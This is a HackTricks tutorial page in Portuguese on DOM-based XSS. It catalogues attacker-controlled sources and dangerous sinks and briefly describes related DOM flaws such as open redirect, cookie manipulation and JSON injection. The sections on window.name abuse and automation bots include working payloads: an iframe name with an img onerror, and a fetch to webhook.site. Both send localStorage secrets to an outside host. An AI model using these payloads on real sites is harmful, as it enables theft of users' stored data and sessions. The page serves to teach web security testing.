DOM XSS
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Vulnerabilidades DOM
Vulnerabilidades DOM ocorrem quando dados provenientes de sources controladas pelo atacante (como location.search, document.referrer, ou document.cookie) são transferidos de forma insegura para sinks. Sinks são funções ou objetos (por exemplo, eval(), document.body.innerHTML) que podem executar ou renderizar conteúdo prejudicial se receberem dados maliciosos.
- Sources são entradas que podem ser manipuladas por atacantes, incluindo URLs, cookies e web messages.
- Sinks são potencialmente perigosos endpoints onde dados maliciosos podem levar a efeitos adversos, como execução de scripts.
O risco surge quando dados fluem de uma source para uma sink sem validação ou sanitização adequada, possibilitando ataques como XSS.
Tip
Você pode encontrar uma lista mais atualizada de sources e sinks em https://github.com/wisec/domxsswiki/wiki
Common sources:
document.URL
document.documentURI
document.URLUnencoded
document.baseURI
location
document.cookie
document.referrer
window.name
history.pushState
history.replaceState
localStorage
sessionStorage
IndexedDB(mozIndexedDB, webkitIndexedDB, msIndexedDB)
Database
Common Sinks:
| Open Redirect | Javascript Injection | DOM-data manipulation | jQuery |
|---|---|---|---|
location | eval() | scriptElement.src | add() |
location.host | Function() constructor | scriptElement.text | after() |
location.hostname | setTimeout() | scriptElement.textContent | append() |
location.href | setInterval() | scriptElement.innerText | animate() |
location.pathname | setImmediate() | someDOMElement.setAttribute() | insertAfter() |
location.search | execCommand() | someDOMElement.search | insertBefore() |
location.protocol | execScript() | someDOMElement.text | before() |
location.assign() | msSetImmediate() | someDOMElement.textContent | html() |
location.replace() | range.createContextualFragment() | someDOMElement.innerText | prepend() |
open() | crypto.generateCRMFRequest() | someDOMElement.outerText | replaceAll() |
domElem.srcdoc | ``Local file-path manipulation | someDOMElement.value | replaceWith() |
XMLHttpRequest.open() | FileReader.readAsArrayBuffer() | someDOMElement.name | wrap() |
XMLHttpRequest.send() | FileReader.readAsBinaryString() | someDOMElement.target | wrapInner() |
jQuery.ajax() | FileReader.readAsDataURL() | someDOMElement.method | wrapAll() |
$.ajax() | FileReader.readAsText() | someDOMElement.type | has() |
| ``Ajax request manipulation | FileReader.readAsFile() | someDOMElement.backgroundImage | constructor() |
XMLHttpRequest.setRequestHeader() | FileReader.root.getFile() | someDOMElement.cssText | init() |
XMLHttpRequest.open() | FileReader.root.getFile() | someDOMElement.codebase | index() |
XMLHttpRequest.send() | Link manipulation | someDOMElement.innerHTML | jQuery.parseHTML() |
jQuery.globalEval() | someDOMElement.href | someDOMElement.outerHTML | $.parseHTML() |
$.globalEval() | someDOMElement.src | someDOMElement.insertAdjacentHTML | Client-side JSON injection |
| ``HTML5-storage manipulation | someDOMElement.action | someDOMElement.onevent | JSON.parse() |
sessionStorage.setItem() | XPath injection | document.write() | jQuery.parseJSON() |
localStorage.setItem() | document.evaluate() | document.writeln() | $.parseJSON() |
**[**`Denial of Service`**](dom-xss.md#denial-of-service)** | someDOMElement.evaluate() | document.title | ``Cookie manipulation |
requestFileSystem() | ``Document-domain manipulation | document.implementation.createHTMLDocument() | document.cookie |
RegExp() | document.domain | history.pushState() | WebSocket-URL poisoning |
| Client-Side SQl injection | Web-message manipulation | history.replaceState() | WebSocket |
executeSql() | postMessage() | `` | `` |
O sink innerHTML não aceita elementos script em nenhum navegador moderno, nem eventos svg onload serão disparados. Isso significa que você precisará usar elementos alternativos como img ou iframe.
Esse tipo de XSS é provavelmente o mais difícil de encontrar, pois você precisa olhar dentro do código JS, verificar se ele está usando algum objeto cujo valor você controla e, nesse caso, ver se existe alguma forma de abusar dele para executar JS arbitrário.
Ferramentas para encontrá-los
- https://github.com/mozilla/eslint-plugin-no-unsanitized
- Extensão do navegador para inspecionar cada dado que chega a um sink potencial: https://github.com/kevin-mizu/domloggerpp
Exemplos
Open Redirect
Fonte: https://portswigger.net/web-security/dom-based/open-redirection
Open redirect vulnerabilities in the DOM occur when a script writes data, which an attacker can control, into a sink capable of initiating navigation across domains.
É crucial entender que a execução de código arbitrário, como javascript:alert(1), é possível se você tiver controle sobre o início da URL onde a redireção ocorre.
Sinks:
location
location.host
location.hostname
location.href
location.pathname
location.search
location.protocol
location.assign()
location.replace()
open()
domElem.srcdoc
XMLHttpRequest.open()
XMLHttpRequest.send()
jQuery.ajax()
$.ajax()
Cookie manipulation
From: https://portswigger.net/web-security/dom-based/cookie-manipulation
Vulnerabilidades de DOM-based cookie-manipulation ocorrem quando um script incorpora dados, que podem ser controlados por um atacante, no valor de um cookie. Essa vulnerabilidade pode causar comportamento inesperado na página web se o cookie for utilizado dentro do site. Além disso, pode ser explorada para realizar um ataque de session fixation se o cookie for usado para rastrear sessões de usuário. O sink principal associado a essa vulnerabilidade é:
Sinks:
document.cookie
JavaScript Injection
From: https://portswigger.net/web-security/dom-based/javascript-injection
DOM-based JavaScript injection vulnerabilities são criadas quando um script executa dados, que podem ser controlados por um atacante, como código JavaScript.
Sinks:
eval()
Function() constructor
setTimeout()
setInterval()
setImmediate()
execCommand()
execScript()
msSetImmediate()
range.createContextualFragment()
crypto.generateCRMFRequest()
Document-domain manipulation
Origem: https://portswigger.net/web-security/dom-based/document-domain-manipulation
Document-domain manipulation vulnerabilities ocorrem quando um script define a propriedade document.domain usando dados que um atacante pode controlar.
A propriedade document.domain desempenha um papel chave na aplicação da same-origin policy pelos navegadores. Quando duas páginas de origens diferentes definem seu document.domain para o mesmo valor, elas podem interagir sem restrições. Embora os navegadores imponham certos limites nos valores atribuíveis a document.domain, impedindo a atribuição de valores completamente não relacionados à origem real da página, existem exceções. Normalmente, os navegadores permitem o uso de domínios filhos ou domínios pais.
Sinks:
document.domain
WebSocket-URL poisoning
From: https://portswigger.net/web-security/dom-based/websocket-url-poisoning
WebSocket-URL poisoning ocorre quando um script utiliza dados controláveis como a URL de destino para uma conexão WebSocket.
Sinks:
The WebSocket constructor can lead to WebSocket-URL poisoning vulnerabilities.
Link manipulation
From: https://portswigger.net/web-security/dom-based/link-manipulation
DOM-based link-manipulation vulnerabilities ocorrem quando um script escreve dados controláveis pelo atacante em um destino de navegação dentro da página atual, como um link clicável ou a URL de submissão de um formulário.
Sinks:
someDOMElement.href
someDOMElement.src
someDOMElement.action
Ajax request manipulation
Fonte: https://portswigger.net/web-security/dom-based/ajax-request-header-manipulation
Ajax request manipulation vulnerabilities ocorrem quando um script escreve dados controláveis pelo atacante em uma Ajax request que é enviada usando um objeto XmlHttpRequest.
Sinks:
XMLHttpRequest.setRequestHeader()
XMLHttpRequest.open()
XMLHttpRequest.send()
jQuery.globalEval()
$.globalEval()
Local file-path manipulation
Fonte: https://portswigger.net/web-security/dom-based/local-file-path-manipulation
Local file-path manipulation vulnerabilities ocorrem quando um script passa dados controlados pelo atacante para uma API de manipulação de arquivos como o parâmetro filename. Essa vulnerabilidade pode ser explorada por um atacante para construir uma URL que, se visitada por outro usuário, poderia fazer com que o navegador do usuário abra ou grave um arquivo local arbitrário.
Sinks:
FileReader.readAsArrayBuffer()
FileReader.readAsBinaryString()
FileReader.readAsDataURL()
FileReader.readAsText()
FileReader.readAsFile()
FileReader.root.getFile()
FileReader.root.getFile()
Client-Side SQl injection
From: https://portswigger.net/web-security/dom-based/client-side-sql-injection
Client-side SQL-injection vulnerabilities ocorrem quando um script incorpora dados controlados pelo atacante em uma consulta SQL do lado do cliente de forma insegura.
Sinks:
executeSql()
HTML5-storage manipulation
Fonte: https://portswigger.net/web-security/dom-based/html5-storage-manipulation
HTML5-storage manipulation vulnerabilities ocorrem quando um script armazena dados controláveis pelo atacante no HTML5 storage do navegador (localStorage ou sessionStorage). Embora essa ação não seja intrinsecamente uma vulnerabilidade de segurança, ela se torna problemática se a aplicação posteriormente lê os dados armazenados e os processa de forma insegura. Isso poderia permitir que um atacante explorasse o mecanismo de armazenamento para conduzir outros DOM-based attacks, como cross-site scripting e JavaScript injection.
Sinks:
sessionStorage.setItem()
localStorage.setItem()
XPath injection
Fonte: https://portswigger.net/web-security/dom-based/client-side-xpath-injection
DOM-based XPath-injection vulnerabilities ocorrem quando um script incorpora dados controlados pelo atacante em uma consulta XPath.
Sinks:
document.evaluate()
someDOMElement.evaluate()
Client-side JSON injection
Fonte: https://portswigger.net/web-security/dom-based/client-side-json-injection
DOM-based JSON-injection vulnerabilities ocorrem quando um script incorpora dados controlados pelo atacante em uma string que é analisada como uma estrutura de dados JSON e então processada pela aplicação.
Sinks:
JSON.parse()
jQuery.parseJSON()
$.parseJSON()
Web-message manipulation
From: https://portswigger.net/web-security/dom-based/web-message-manipulation
Web-message vulnerabilities surgem quando um script envia attacker-controllable data as a web message to another document dentro do navegador. Um exemplo de Web-message manipulation vulnerável pode ser encontrado em PortSwigger’s Web Security Academy.
Sinks:
O método postMessage() para enviar web messages pode levar a vulnerabilidades se o event listener para receber mensagens tratar os dados recebidos de forma insegura.
DOM-data manipulation
From: https://portswigger.net/web-security/dom-based/dom-data-manipulation
DOM-data manipulation vulnerabilities surgem quando um script escreve attacker-controllable data to a field within the DOM que é utilizada na UI visível ou na lógica do lado do cliente. Essa vulnerabilidade pode ser explorada por um attacker para construir uma URL que, se visitada por outro usuário, pode alterar a aparência ou o comportamento da UI do lado do cliente.
Sinks:
scriptElement.src
scriptElement.text
scriptElement.textContent
scriptElement.innerText
someDOMElement.setAttribute()
someDOMElement.search
someDOMElement.text
someDOMElement.textContent
someDOMElement.innerText
someDOMElement.outerText
someDOMElement.value
someDOMElement.name
someDOMElement.target
someDOMElement.method
someDOMElement.type
someDOMElement.backgroundImage
someDOMElement.cssText
someDOMElement.codebase
document.title
document.implementation.createHTMLDocument()
history.pushState()
history.replaceState()
Denial of Service
From: https://portswigger.net/web-security/dom-based/denial-of-service
DOM-based denial-of-service vulnerabilities ocorrem quando um script passa attacker-controllable data unsafely to a problematic platform API. Isso inclui APIs que, quando invocadas, podem levar o computador do usuário a consumir excessive amounts of CPU or disk space. Tais vulnerabilidades podem ter efeitos colaterais significativos, como o navegador restringir a funcionalidade do site ao rejeitar tentativas de armazenar dados em localStorage ou encerrar scripts que estejam consumindo muitos recursos.
Sinks:
requestFileSystem()
RegExp()
Dom Clobbering
Globais implícitas & abuso de window.name
Referenciar name sem uma declaração (var/let/const) resolve para window.name. Como window.name persiste através de navegações cross-origin, um atacante pode pré-preencher o nome do contexto de navegação com HTML/JS e, mais tarde, fazer com que o código da vítima o renderize como dados confiáveis:
- Abrir/navegar para o alvo em um contexto nomeado que você controla:
<iframe name="<img src=x onerror=fetch('https://oast/?f='+btoa(localStorage.flag))>" src="https://target/page"></iframe>
- Ou reutilizar
window.opencom um nome de target criado:
window.open('https://target/page', "<svg/onload=alert(document.domain)>")
Se a aplicação depois fizer element.innerHTML = name (ou outro sink semelhante) sem sanitização, a string window.name controlada pelo atacante é executada na origem de destino, permitindo DOM XSS e acesso ao armazenamento same-origin.
Fluxos admin/automação: armazenamento pré-populado & javascript: navegação
Bots de automação (por exemplo, Playwright) frequentemente visitam primeiro uma página interna, definem segredos em localStorage/cookies e então navegam para URLs fornecidas pelo usuário. Qualquer primitiva DOM XSS (incluindo abuso de window.name) nesse fluxo pode exfiltrar o segredo pré-populado:
fetch('https://webhook.site/<id>?flag=' + encodeURIComponent(localStorage.getItem('flag')))
Se o bot não restringir esquemas de URL, fornecer uma URL javascript: (javascript:fetch(...)) faz com que o código seja executado na origem atual sem nova navegação, directly leaking storage values.
Referências
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.


